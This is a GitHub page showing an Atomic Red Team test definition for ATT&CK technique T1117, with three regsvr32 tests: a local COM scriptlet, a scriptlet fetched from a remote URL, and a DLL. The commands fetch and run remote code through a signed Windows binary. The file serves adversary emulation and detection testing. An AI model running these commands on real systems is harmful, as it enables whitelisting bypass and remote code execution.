Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
50 lines (49 sloc) 1.58 KB
---
attack_technique: T1117
display_name: Regsvr32
atomic_tests:
- name: Regsvr32 local COM scriptlet execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
supported_platforms:
- windows
input_arguments:
filename:
description: Name of the local file, include path.
type: Path
default: C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct
executor:
name: command_prompt
elevation_required: false
command: |
regsvr32.exe /s /u /i:#{filename} scrobj.dll
- name: Regsvr32 remote COM scriptlet execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
supported_platforms:
- windows
input_arguments:
url:
description: URL to hosted sct file
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct
executor:
name: command_prompt
elevation_required: false
command: |
regsvr32.exe /s /u /i:#{url} scrobj.dll
- name: Regsvr32 local DLL execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
supported_platforms:
- windows
input_arguments:
dll_name:
description: Name of DLL to Execute, DLL Should export DllRegisterServer
type: Path
default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll
executor:
name: command_prompt
elevation_required: false
command: |
"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
You can’t perform that action at this time.